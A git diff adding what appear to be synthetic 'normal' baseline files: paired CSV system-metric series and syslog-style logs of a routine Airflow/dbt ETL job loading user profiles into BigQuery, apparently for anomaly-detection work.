/dev/null +++ b/norm_dataset/scenario_11/norm_11_15.log @@ -0,0 +1,20 @@ +Aug 27 10:00:25 airflow-scheduler[5432]: INFO: Triggering DAG 'daily_user_profile_etl' +Aug 27 10:00:50 airflow-worker[6789]: INFO: DAG 'daily_user_profile_etl': Running task 'start' +Aug 27 10:01:15 airflow-worker[6789]: INFO: DAG 'daily_user_profile_etl': Task 'start' succeeded. +Aug 27 10:01:20 airflow-worker[6789]: INFO: DAG 'daily_user_profile_etl': Running task 'extract_from_postgres' +Aug 27 10:01:40 dbt[8901]: INFO: Connecting to production_db:postgres +Aug 27 10:02:05 airflow-worker[6789]: INFO: DAG 'daily_user_profile_etl': Running task 'extract_from_api' +Aug 27 10:02:30 dbt[8901]: INFO: Querying 'users' table... 50000 rows extracted. +Aug 27 10:02:55 airflow-worker[6789]: INFO: DAG 'daily_user_profile_etl': Task 'extract_from_postgres' succeeded. +Aug 27 10:03:00 airflow-worker[6789]: INFO: DAG 'daily_user_profile_etl': Task 'extract_from_api' succeeded. +Aug 27 10:03:05 airflow-worker[6789]: INFO: DAG 'daily_user_profile_etl': Running task 'transform_data' +Aug 27 10:03:45 dbt[8901]: INFO: Running model 'staging_users'... +Aug 27 10:04:35 dbt[8901]: INFO: Running model 'marts_user_profiles'... +Aug 27 10:05:25 airflow-worker[6789]: INFO: DAG 'daily_user_profile_etl': Task 'transform_data' succeeded. +Aug 27 10:05:30 airflow-worker[6789]: INFO: DAG 'daily_user_profile_etl': Running task 'load_to_bigquery' +Aug 27 10:05:50 dbt[8901]: INFO: Loading data into 'user_profiles_prod.users'. +Aug 27 10:06:15 dbt[8901]: INFO: Load job complete. Affected rows: 50000. +Aug 27 10:06:40 airflow-worker[6789]: INFO: DAG 'daily_user_profile_etl': Task 'load_to_bigquery' succeeded. +Aug 27 10:06:45 airflow-worker[6789]: INFO: DAG 'daily_user_profile_etl': Running task 'end' +Aug 27 10:06:50 airflow-worker[6789]: INFO: DAG 'daily_user_profile_etl': Task 'end' succeeded. +Aug 27 10:07:05 airflow-scheduler[5432]: INFO: DAG 'daily_user_profile_etl' finished successfully. diff --git a/norm_dataset/scenario_11/norm_11_16.csv b/norm_dataset/scenario_11/norm_11_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..3f5eddf45a84c02b8d33eda098fbdc57798288c3 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T14:00:00Z,14.71,26.65,6.19,1.82,0.53 +2025-08-27T14:00:05Z,12.36,27.18,13.76,1.27,0.69 +2025-08-27T14:00:10Z,14.09,23.38,13.4,1.04,0.85 +2025-08-27T14:00:15Z,17.23,26.83,8.52,1.42,1.19 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+2025-08-27T14:06:55Z,46.7,57.71,66.94,2.1,100.58 +2025-08-27T14:07:00Z,61.24,54.1,81.02,2.29,93.28 +2025-08-27T14:07:05Z,15.14,27.58,12.17,1.57,0.98 +2025-08-27T14:07:10Z,14.26,26.94,6.07,1.7,0.88 +2025-08-27T14:07:15Z,16.97,27.15,7.43,1.91,1.35 +2025-08-27T14:07:20Z,13.71,24.86,5.63,1.9,1.07 +2025-08-27T14:07:25Z,13.45,25.05,11.31,1.74,0.65 diff --git a/norm_dataset/scenario_11/norm_11_16.log b/norm_dataset/scenario_11/norm_11_16.log new file mode 100644 index 0000000000000000000000000000000000000000..8cb7178b235dadf9426244f144d13661133c5ac8 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_16.log @@ -0,0 +1,20 @@ +2025-08-27 14:00:25 airflow-scheduler[5832]: INFO: [DAG-Processor] Checking for new scheduled DAGs +2025-08-27 14:01:00 airflow-scheduler[5832]: INFO: [DAG-Processor] Triggering DAG 'daily_user_profile_etl' +2025-08-27 14:01:10 airflow-scheduler[5832]: INFO: [ETL-Task-Runner] Starting DAG 'daily_user_profile_etl' +2025-08-27 14:01:15 airflow-scheduler[5832]: INFO: [ETL-Task-Runner] Task 'extract_from_postgres' running +2025-08-27 14:01:30 airflow-scheduler[5832]: INFO: [ETL-Task-Runner] Task 'extract_from_kafka_stream' running +2025-08-27 14:02:20 airflow-scheduler[5832]: INFO: [PostgresHook] Executing query: SELECT * FROM user_activity; +2025-08-27 14:02:55 airflow-scheduler[5832]: INFO: [ETL-Task-Runner] Task 'extract_from_postgres' succeeded. +2025-08-27 14:03:00 airflow-scheduler[5832]: INFO: [ETL-Task-Runner] Task 'extract_from_kafka_stream' succeeded. +2025-08-27 14:03:10 airflow-scheduler[5832]: INFO: [ETL-Task-Runner] Task 'transform_data' running... +2025-08-27 14:03:45 airflow-scheduler[5832]: INFO: [SparkProcessor] INFO: Applying business logic to user data. Records: 2,543,120 +2025-08-27 14:04:35 airflow-scheduler[5832]: INFO: [SparkProcessor] INFO: Deduplicating and cleaning records. Found 12,345 duplicates. +2025-08-27 14:05:40 airflow-scheduler[5832]: INFO: [SparkProcessor] INFO: Transformation complete. Outputting 2,530,775 processed records. +2025-08-27 14:06:00 airflow-scheduler[5832]: INFO: [ETL-Task-Runner] Task 'transform_data' succeeded. +2025-08-27 14:06:10 airflow-scheduler[5832]: INFO: [ETL-Task-Runner] Task 'load_to_bigquery' running... +2025-08-27 14:06:20 airflow-scheduler[5832]: INFO: [BigQueryHook] INFO: Authenticating with BigQuery service account. +2025-08-27 14:06:40 airflow-scheduler[5832]: INFO: [BigQueryHook] INFO: Writing 2,530,775 records to table 'user_profiles_production'. +2025-08-27 14:06:55 airflow-scheduler[5832]: INFO: [BigQueryHook] INFO: Load job finished successfully. +2025-08-27 14:07:00 airflow-scheduler[5832]: INFO: [ETL-Task-Runner] Task 'load_to_bigquery' succeeded. +2025-08-27 14:07:10 airflow-scheduler[5832]: INFO: [ETL-Task-Runner] DAG 'daily_user_profile_etl' finished successfully +2025-08-27 14:07:25 airflow-scheduler[5832]: INFO: [DAG-Processor] Next run for 'daily_user_profile_etl' scheduled for 2025-08-28 14:00:00 UTC diff --git a/norm_dataset/scenario_11/norm_11_17.csv b/norm_dataset/scenario_11/norm_11_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..dcc81d1519196d5adf7a99abf1df738af5893244 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,15.99,35.29,23.13,1.93,1.36 +2025-07-15T14:00:05Z,14.72,37.91,15.71,1.07,1.66 +2025-07-15T14:00:10Z,16.3,32.89,14.65,1.85,1.17 +2025-07-15T14:00:15Z,18.05,34.02,22.41,1.5,1.32 +2025-07-15T14:00:20Z,14.53,33.82,18.88,1.21,1.41 +2025-07-15T14:00:25Z,14.53,30.61,23.57,1.64,1.08 +2025-07-15T14:00:30Z,18.16,35.89,22.37,1.56,1.27 +2025-07-15T14:00:35Z,16.53,35.78,19.64,1.32,1.2 +2025-07-15T14:00:40Z,14.06,35.02,15.77,1.52,1.23 +2025-07-15T14:00:45Z,16.09,34.3,12.43,1.38,0.97 +2025-07-15T14:00:50Z,14.07,30.75,17.77,1.53,1.21 +2025-07-15T14:00:55Z,14.07,33.74,24.28,1.7,1.35 +2025-07-15T14:01:00Z,15.48,33.97,21.07,1.98,1.64 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file mode 100644 index 0000000000000000000000000000000000000000..c7669cf68e513b70f2e78da2be1d358c53a9315e --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_17.log @@ -0,0 +1,20 @@ +Jul 15 14:00:25 web-app[1234]: INFO: Starting daily clean up activities... +Jul 15 14:01:15 web-app[1234]: INFO: GET /api/v1/health status=200 OK +Jul 15 14:01:45 airflow-worker[3456]: INFO: Found 1 running DAG instance(s) for DAG: daily_user_profile_etl +Jul 15 14:01:50 airflow-worker[3456]: INFO: Starting DAG 'daily_user_profile_etl' +Jul 15 14:02:05 airflow-worker[3456]: INFO: Task 'extract_from_postgres' running... +Jul 15 14:02:20 airflow-worker[3456]: INFO: [DBT] Found 5 models, 12 tests, 2 seeds, 1 analysis, 203 macros +Jul 15 14:02:50 airflow-worker[3456]: INFO: Task 'extract_from_postgres' succeeded. +Jul 15 14:03:00 airflow-worker[3456]: INFO: Task 'extract_from_api' running... +Jul 15 14:03:30 airflow-worker[3456]: INFO: Task 'extract_from_api' succeeded. +Jul 15 14:03:45 airflow-worker[3456]: INFO: Task 'transform_user_data' running... +Jul 15 14:04:10 airflow-worker[3456]: INFO: [DBT] 1 of 5 START table model dbt_prod.stg_users...................... [RUN] +Jul 15 14:04:50 airflow-worker[3456]: INFO: [DBT] 1 of 5 OK created table model dbt_prod.stg_users................. [OK in 25.12s] +Jul 15 14:05:20 airflow-worker[3456]: INFO: Task 'transform_user_data' succeeded. +Jul 15 14:05:30 airflow-worker[3456]: INFO: Task 'load_to_bigquery' running... +Jul 15 14:05:50 web-app[1234]: INFO: Uploading 10.2GB to BigQuery dataset 'user_profiles_prod' +Jul 15 14:06:15 web-app[1234]: INFO: Upload complete. +Jul 15 14:06:35 airflow-worker[3456]: INFO: Task 'load_to_bigquery' succeeded. +Jul 15 14:06:50 airflow-worker[3456]: INFO: DAG 'daily_user_profile_etl' finished. +Jul 15 14:07:10 web-app[1234]: INFO: GET /api/v1/health status=200 OK +Jul 15 14:07:25 web-app[1234]: INFO: Starting daily clean up activities... diff --git a/norm_dataset/scenario_11/norm_11_18.csv b/norm_dataset/scenario_11/norm_11_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..68c0aac4af157de681c4eb2c93e899c08fae39d8 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-27T10:07:20Z,11.850261600803206,18.18240519123578,6.47248351545525,0.8950323621538642,0.5638076902895028 +2025-08-27T10:07:25Z,13.257749760679983,10.238363025417762,8.303019608915339,1.160350782008102,0.7404023604232973 diff --git a/norm_dataset/scenario_11/norm_11_18.log b/norm_dataset/scenario_11/norm_11_18.log new file mode 100644 index 0000000000000000000000000000000000000000..f442d0a0434731b449d90473c4e9ccbbf6fb38a6 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_18.log @@ -0,0 +1,19 @@ +Aug 27 10:00:10 airflow-scheduler[123]: INFO: Triggering DAG 'daily_user_profile_etl' +Aug 27 10:00:55 airflow-worker[456]: INFO: Starting DAG 'daily_user_profile_etl' +Aug 27 10:00:55 airflow-worker[456]: INFO: Task 'extract_from_postgres' running... +Aug 27 10:01:30 airflow-worker[456]: INFO: Task 'extract_from_postgres' succeeded. +Aug 27 10:01:30 airflow-worker[456]: INFO: Task 'extract_from_api' running... +Aug 27 10:02:25 airflow-worker[456]: INFO: Task 'extract_from_api' succeeded. +Aug 27 10:02:25 airflow-worker[456]: INFO: Task 'transform_data' running... +Aug 27 10:03:00 airflow-worker[456]: INFO: dbt: Found 5 models, 2 tests, 0 archives, 0 analyses, 22 macros, 0 operations, 0 seed files +Aug 27 10:04:00 airflow-worker[456]: INFO: dbt: 12:35:18 | Concurrency: 4 threads (target='prod') +Aug 27 10:04:00 airflow-worker[456]: INFO: dbt: 12:35:18 | +Aug 27 10:04:00 airflow-worker[456]: INFO: dbt: 12:35:18 | 1 of 5 START table model staging.stg_users................... [RUN] +Aug 27 10:04:00 airflow-worker[456]: INFO: dbt: 12:35:25 | 1 of 5 OK created table model staging.stg_users.................. [SUCCESS 1 in 7.00s] +Aug 27 10:05:00 airflow-worker[456]: INFO: dbt: 12:36:12 | 5 of 5 START table model marts.user_profiles_agg........ [RUN] +Aug 27 10:05:00 airflow-worker[456]: INFO: dbt: 12:36:20 | 5 of 5 OK created table model marts.user_profiles_agg........ [SUCCESS 1 in 8.00s] +Aug 27 10:05:45 airflow-worker[456]: INFO: Task 'transform_data' succeeded. +Aug 27 10:05:45 airflow-worker[456]: INFO: Task 'load_to_bigquery' running... +Aug 27 10:07:00 airflow-worker[456]: INFO: Task 'load_to_bigquery' succeeded. +Aug 27 10:07:00 airflow-worker[456]: INFO: DAG 'daily_user_profile_etl' finished successfully. +Aug 27 10:07:20 airflow-scheduler[123]: INFO: DAG 'daily_user_profile_etl' is finished. diff --git a/norm_dataset/scenario_11/norm_11_19.csv b/norm_dataset/scenario_11/norm_11_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..453a74730153f34e1393056bb0a1ebce55532196 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,13.78,39.81,39.15,1.95,1.73 +2025-08-27T10:00:05Z,15.89,32.84,38.85,2.05,1.1 +2025-08-27T10:00:10Z,13.18,38.79,28.19,0.98,1.46 +2025-08-27T10:00:15Z,12.18,30.41,21.9,1.77,1.32 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+2025-08-27T10:06:45Z,12.54,34.82,36.21,1.52,1.04 +2025-08-27T10:06:50Z,13.08,39.07,28.07,1.52,1.08 +2025-08-27T10:06:55Z,14.92,38.56,35.11,1.23,1.23 +2025-08-27T10:07:00Z,17.1,36.44,28.89,1.54,0.85 +2025-08-27T10:07:05Z,18.17,34.4,27.5,1.34,1.23 +2025-08-27T10:07:10Z,16.89,35.27,30.68,1.85,1.17 +2025-08-27T10:07:15Z,12.75,35.06,29.73,1.51,1.12 +2025-08-27T10:07:20Z,16.67,33.92,37.69,1.23,1.13 +2025-08-27T10:07:25Z,16.71,38.36,23.81,0.85,0.78 diff --git a/norm_dataset/scenario_11/norm_11_19.log b/norm_dataset/scenario_11/norm_11_19.log new file mode 100644 index 0000000000000000000000000000000000000000..da3434d986ea39e35eeefa3f74fdd6a96cb40797 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_19.log @@ -0,0 +1,19 @@ +Aug 27 10:00:10 systemd[1]: Starting daily user session clean up... +Aug 27 10:00:50 web-app[2134]: GET /api/v1/health status=200 OK +Aug 27 10:01:30 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:01:50 airflow-scheduler[105]: INFO: Starting DAG 'daily_user_profile_etl' +Aug 27 10:02:00 airflow-worker[879]: INFO: DAG 'daily_user_profile_etl' - Task 'extract_from_postgres' is running +Aug 27 10:02:20 airflow-worker[879]: INFO: DAG 'daily_user_profile_etl' - Extracted 1,500,234 rows from production DB. +Aug 27 10:02:45 airflow-worker[879]: INFO: DAG 'daily_user_profile_etl' - Task 'extract_from_postgres' succeeded. +Aug 27 10:03:05 airflow-worker[881]: INFO: DAG 'daily_user_profile_etl' - Task 'transform_user_data' is running +Aug 27 10:03:45 dbt[950]: RUNNING - model.my_dbt_project.staging_users +Aug 27 10:03:55 dbt[950]: OK - model.my_dbt_project.staging_users in 45.12s +Aug 27 10:04:10 dbt[950]: RUNNING - model.my_dbt_project.aggregated_profiles +Aug 27 10:04:25 dbt[950]: OK - model.my_dbt_project.aggregated_profiles in 30.55s +Aug 27 10:04:35 airflow-worker[881]: INFO: DAG 'daily_user_profile_etl' - Task 'transform_user_data' succeeded. +Aug 27 10:04:45 airflow-worker[885]: INFO: DAG 'daily_user_profile_etl' - Task 'load_to_bigquery' is running +Aug 27 10:05:15 airflow-worker[885]: INFO: DAG 'daily_user_profile_etl' - Loading 1,498,765 transformed rows to BigQuery table 'user_profiles_daily'. +Aug 27 10:05:35 airflow-worker[885]: INFO: DAG 'daily_user_profile_etl' - Task 'load_to_bigquery' succeeded. +Aug 27 10:05:45 airflow-scheduler[105]: INFO: DAG 'daily_user_profile_etl' successfully finished. +Aug 27 10:06:15 kubelet[2345]: INFO: Liveness probe succeeded for pod airflow-worker-885 +Aug 27 10:07:05 web-app[2134]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_11/norm_11_2.csv b/norm_dataset/scenario_11/norm_11_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..444067b046153b80930470517039e4502586ecd1 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,14.04,28.71,8.09,1.28,1.15 +2025-07-02T12:00:05Z,14.04,29.17,7.05,1.24,0.89 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airflow-scheduler[5123]: INFO: Starting DAG 'daily_user_profile_etl' +Jul 02 12:01:00 airflow-worker[6789]: INFO: Task 'extract_from_postgres' running... +Jul 02 12:01:25 airflow-worker[6789]: INFO: [pg_extractor] Connecting to source database 'prod_db'. +Jul 02 12:01:50 airflow-worker[6789]: INFO: [pg_extractor] Executing query: SELECT * FROM user_profiles; +Jul 02 12:02:20 airflow-worker[6789]: INFO: [pg_extractor] Extracted 1,502,345 rows. +Jul 02 12:02:30 airflow-worker[6789]: INFO: Task 'extract_from_postgres' succeeded. +Jul 02 12:02:35 airflow-worker[6789]: INFO: Task 'transform_data' running... +Jul 02 12:03:15 dbt[7123]: INFO: Found 5 models, 12 tests, 2 snapshots, 0 analyses, 28 macros, 0 operations, 3 seed files, 1 source, 0 exposures +Jul 02 12:03:50 dbt[7123]: INFO: Concurrency: 4 threads (target='prod') +Jul 02 12:04:35 dbt[7123]: INFO: [1 of 5] START table model 'staging.stg_users'... +Jul 02 12:04:45 dbt[7123]: INFO: [5 of 5] OK created table model 'marts.fct_user_sessions' in 12.34s +Jul 02 12:05:00 airflow-worker[6789]: INFO: Task 'transform_data' succeeded. +Jul 02 12:05:05 airflow-worker[6789]: INFO: Task 'load_to_bigquery' running... +Jul 02 12:05:40 airflow-worker[6789]: INFO: [bq_loader] Authenticating with service account. +Jul 02 12:06:05 airflow-worker[6789]: INFO: [bq_loader] Starting upload of 'fct_user_sessions.parquet' to BigQuery table 'prod_warehouse.user_data.fct_user_sessions'. +Jul 02 12:06:35 airflow-worker[6789]: INFO: [bq_loader] Load job 'bq-load-job-1a2b3c' finished. Loaded 1,502,345 rows. +Jul 02 12:06:40 airflow-worker[6789]: INFO: Task 'load_to_bigquery' succeeded. +Jul 02 12:06:45 airflow-scheduler[5123]: INFO: DAG 'daily_user_profile_etl' finished successfully. +Jul 02 12:07:10 CRON[8001]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_11/norm_11_20.csv b/norm_dataset/scenario_11/norm_11_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..c08c81548560480a62e09ba383b54409e6ab6169 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,14.96,26.85,19.68,1.14,1.07 +2025-08-27T10:00:05Z,19.86,25.55,22.27,1.12,1.2 +2025-08-27T10:00:10Z,8.82,30.56,16.91,1.34,1.48 +2025-08-27T10:00:15Z,11.7,25.46,12.24,1.27,1.34 +2025-08-27T10:00:20Z,14.65,23.36,16.53,1.07,1.26 +2025-08-27T10:00:25Z,55.47,60.36,71.37,90.31,0.0 +2025-08-27T10:00:30Z,50.4,51.59,87.78,107.58,0.0 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+2025-08-27T10:06:55Z,78.57,75.66,87.47,0.0,121.03 +2025-08-27T10:07:00Z,51.17,77.56,85.26,0.0,89.46 +2025-08-27T10:07:05Z,18.49,30.8,9.53,1.37,1.44 +2025-08-27T10:07:10Z,12.32,32.51,15.61,1.3,1.4 +2025-08-27T10:07:15Z,16.15,30.2,15.15,1.16,1.46 +2025-08-27T10:07:20Z,13.39,35.48,14.96,1.18,1.25 +2025-08-27T10:07:25Z,16.3,29.83,21.66,1.25,1.29 diff --git a/norm_dataset/scenario_11/norm_11_20.log b/norm_dataset/scenario_11/norm_11_20.log new file mode 100644 index 0000000000000000000000000000000000000000..827bdedcfa8f94946a70feb53fa9b05071f30ac6 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_20.log @@ -0,0 +1,20 @@ +Aug 27 10:00:20 airflow-scheduler[5678]: INFO: Triggering DAG 'daily_user_profile_etl' +Aug 27 10:00:30 airflow-worker[6789]: INFO: DAG 'daily_user_profile_etl' RUNNING +Aug 27 10:00:45 airflow-worker[6789]: INFO: Task 'extract_from_postgres' running... +Aug 27 10:01:05 airflow-worker[6789]: INFO: Task 'extract_from_postgres' succeeded. +Aug 27 10:01:50 airflow-worker[6789]: INFO: Task 'extract_from_api' succeeded. +Aug 27 10:02:05 airflow-worker[6789]: INFO: Task 'transform_user_data' running... +Aug 27 10:02:10 dbt[8901]: INFO: Found 10 models, 20 tests +Aug 27 10:02:15 dbt[8901]: INFO: Concurrency: 4 threads (target='prod') +Aug 27 10:03:00 dbt[8901]: INFO: 1 of 10 START table model public.stg_users........................ [RUN] +Aug 27 10:03:45 dbt[8901]: INFO: 1 of 10 OK created table model public.stg_users................... [OK in 45.23s] +Aug 27 10:04:00 dbt[8901]: INFO: 2 of 10 START table model public.dim_users........................ [RUN] +Aug 27 10:04:50 dbt[8901]: INFO: 2 of 10 OK created table model public.dim_users................... [OK in 52.11s] +Aug 27 10:05:25 airflow-worker[6789]: INFO: Task 'transform_user_data' succeeded. +Aug 27 10:05:30 airflow-worker[6789]: INFO: Task 'load_to_bigquery' running... +Aug 27 10:05:40 airflow-worker[6789]: INFO: Uploading 100000 records to BigQuery table 'user_profiles' +Aug 27 10:06:30 airflow-worker[6789]: INFO: Task 'load_to_bigquery' succeeded. +Aug 27 10:06:50 airflow-worker[6789]: INFO: Task 'data_quality_checks' running... +Aug 27 10:07:00 airflow-worker[6789]: INFO: All data quality checks passed. +Aug 27 10:07:05 airflow-worker[6789]: INFO: Task 'data_quality_checks' succeeded. +Aug 27 10:07:10 airflow-scheduler[5678]: INFO: DAG 'daily_user_profile_etl' SUCCESS diff --git a/norm_dataset/scenario_11/norm_11_21.csv b/norm_dataset/scenario_11/norm_11_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..467b8bd520706e14dfffb3568e928db35bc44971 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_21.csv @@ -0,0 +1,91 @@ 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airflow-scheduler[888]: INFO: Checking for queued jobs +Jul 02 11:00:35 airflow-scheduler[888]: INFO: Triggering DAG 'daily_user_profile_etl' +Jul 02 11:01:00 airflow-worker[1234]: INFO: Starting DAG 'daily_user_profile_etl' +Jul 02 11:01:05 airflow-worker[1234]: INFO: Task 'extract_from_postgres' running... +Jul 02 11:01:30 airflow-worker[1234]: INFO: Extracted 1,500,000 rows from 'users' table +Jul 02 11:01:55 airflow-worker[1234]: INFO: Task 'extract_from_api' running... +Jul 02 11:02:25 airflow-worker[1234]: INFO: Fetched 50,000 records from payment API +Jul 02 11:02:30 airflow-worker[1234]: INFO: Task 'extract_from_postgres' succeeded. +Jul 02 11:02:35 airflow-worker[1234]: INFO: Task 'extract_from_api' succeeded. +Jul 02 11:02:40 airflow-worker[1234]: INFO: Task 'transform_data' running... +Jul 02 11:03:30 dbt[1567][1567]: INFO: Running model 'staging_users'... +Jul 02 11:04:10 dbt[1567][1567]: INFO: Running model 'enriched_user_profiles'... +Jul 02 11:04:55 airflow-worker[1234]: INFO: Task 'transform_data' succeeded. +Jul 02 11:05:00 airflow-worker[1234]: INFO: Task 'load_to_bigquery' running... +Jul 02 11:05:45 airflow-worker[1234]: INFO: Writing 1,550,000 rows to BigQuery table 'user_profiles_daily' +Jul 02 11:06:25 airflow-worker[1234]: INFO: Task 'load_to_bigquery' succeeded. +Jul 02 11:06:30 airflow-worker[1234]: INFO: DAG 'daily_user_profile_etl' finished successfully. +Jul 02 11:06:50 airflow-scheduler[888]: INFO: All tasks successful for DAG 'daily_user_profile_etl' +Jul 02 11:07:10 systemd[1]: INFO: Daily cleanup finished. diff --git a/norm_dataset/scenario_11/norm_11_22.csv b/norm_dataset/scenario_11/norm_11_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..7f06aab7b6d3288a07e29605401c700fd83074e6 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,14.99,41.88,29.31,1.21,1.08 +2025-07-02T12:00:05Z,13.03,41.18,32.3,1.26,1.21 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running... +Jul 02 12:01:30 postgres[789]: INFO: connection received: user=airflow host=127.0.0.1 +Jul 02 12:02:05 airflow-worker[456]: INFO: Task 'extract_from_postgres' succeeded. +Jul 02 12:02:10 airflow-worker[456]: INFO: Task 'transform_data' running... +Jul 02 12:02:30 systemd[1]: Starting daily network maintenance... +Jul 02 12:03:45 dbt[654]: INFO: Running model 'staging_users'... +Jul 02 12:04:10 dbt[654]: INFO: Model 'staging_users' completed successfully. +Jul 02 12:04:35 airflow-worker[456]: INFO: Task 'transform_data' succeeded. +Jul 02 12:04:40 airflow-worker[456]: INFO: Task 'load_to_bigquery' running... +Jul 02 12:05:25 google-cloud-sdk[987]: INFO: Uploading data to BigQuery table: user_profiles_staging +Jul 02 12:05:50 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:15 google-cloud-sdk[987]: INFO: BigQuery load job finished. +Jul 02 12:06:20 airflow-worker[456]: INFO: Task 'load_to_bigquery' succeeded. +Jul 02 12:06:30 airflow-scheduler[123]: INFO: DAG 'daily_user_profile_etl' finished successfully. +Jul 02 12:07:05 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_11/norm_11_23.csv b/norm_dataset/scenario_11/norm_11_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..fdddc549389b8c8b136ab461febcd454b38d8264 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,15.414276914251946,32.423667415676825,25.93036192253814,2.000409858147405,0.9318936462370608 +2025-07-15T14:00:05Z,15.032334196542845,35.407402916340615,21.988841164928402,1.5953793914441796,1.0611090327108783 +2025-07-15T14:00:10Z,14.112058045148022,32.796598417392644,19.873228426392433,1.3073075111496157,1.0912827724255276 +2025-07-15T14:00:15Z,18.49066899861165,32.91932219232592,16.54327399333689,1.2458296338657653,1.5738825340772566 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systemd[1]: Starting daily user cleanup... +Jul 15 14:00:25 CRON[8891]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:01:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 15 14:01:35 airflow-scheduler[5678]: INFO: Starting DAG 'daily_user_profile_etl' +Jul 15 14:01:45 airflow-worker[5690]: INFO: Task 'extract_from_postgres' started. +Jul 15 14:01:55 postgres[2345]: INFO: Connection received from user 'airflow' on database 'production' +Jul 15 14:02:20 airflow-worker[5690]: INFO: Task 'extract_from_postgres' succeeded. +Jul 15 14:02:25 airflow-worker[5690]: INFO: Task 'extract_from_api' started. +Jul 15 14:02:50 airflow-worker[5690]: INFO: Task 'extract_from_api' succeeded. Fetched 1.2M records. +Jul 15 14:02:55 airflow-worker[5690]: INFO: Task 'transform_data' running... +Jul 15 14:03:05 dbt[7890]: INFO: Running model 'staging_users'... +Jul 15 14:03:40 dbt[7890]: INFO: Model 'staging_users' completed successfully. +Jul 15 14:04:00 dbt[7890]: INFO: Running model 'final_user_profiles'... +Jul 15 14:04:50 dbt[7890]: INFO: Model 'final_user_profiles' completed successfully. +Jul 15 14:04:55 airflow-worker[5690]: INFO: Task 'transform_data' succeeded. +Jul 15 14:05:00 airflow-worker[5690]: INFO: Task 'load_to_bigquery' started. +Jul 15 14:05:20 gcloud-sdk[9123]: INFO: Authenticating with service account. +Jul 15 14:05:40 gcloud-sdk[9123]: INFO: Starting upload of 'user_profiles.parquet' to gs://data-warehouse-bucket. +Jul 15 14:05:45 airflow-worker[5690]: INFO: Task 'load_to_bigquery' succeeded. +Jul 15 14:05:55 airflow-scheduler[5678]: INFO: DAG 'daily_user_profile_etl' finished successfully. diff --git a/norm_dataset/scenario_11/norm_11_24.csv b/norm_dataset/scenario_11/norm_11_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..7caa4e677d39c096f48a9ee6369ff11dda07d15b --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T14:00:00Z,10.73,38.47,30.31,0.93,0.51 +2025-08-27T14:00:05Z,12.98,38.99,30.43,1.18,0.74 +2025-08-27T14:00:10Z,16.07,28.55,26.43,1.21,0.74 +2025-08-27T14:00:15Z,17.07,38.26,35.17,1.13,1.17 +2025-08-27T14:00:20Z,15.01,30.64,23.55,0.99,0.94 +2025-08-27T14:00:25Z,16.08,38.74,25.29,1.07,0.72 +2025-08-27T14:00:30Z,20.58,39.01,30.1,0.89,0.95 +2025-08-27T14:00:35Z,7.81,34.62,24.21,0.9,0.78 +2025-08-27T14:00:40Z,10.39,30.33,25.43,1.13,0.76 +2025-08-27T14:00:45Z,14.34,29.88,34.19,0.77,0.93 +2025-08-27T14:00:50Z,14.83,32.09,29.82,0.67,0.91 +2025-08-27T14:00:55Z,13.07,35.87,39.22,0.93,1.15 +2025-08-27T14:01:00Z,39.95,45.81,151.9,80.71,2.06 +2025-08-27T14:01:05Z,41.2,48.64,171.03,72.61,1.72 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a/norm_dataset/scenario_11/norm_11_24.log b/norm_dataset/scenario_11/norm_11_24.log new file mode 100644 index 0000000000000000000000000000000000000000..768cba64ca68440f77bfee8c40418c90d43720a4 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_24.log @@ -0,0 +1,20 @@ +Aug 27 14:00:10 systemd[1]: Starting daily backup activities... +Aug 27 14:00:50 web-app[1567]: GET /api/v1/health status=200 OK +Aug 27 14:01:00 airflow-scheduler[3102]: INFO: Starting DAG 'daily_user_profile_etl' (run_id: scheduled__2025-08-27T14:01:00+00:00) +Aug 27 14:01:05 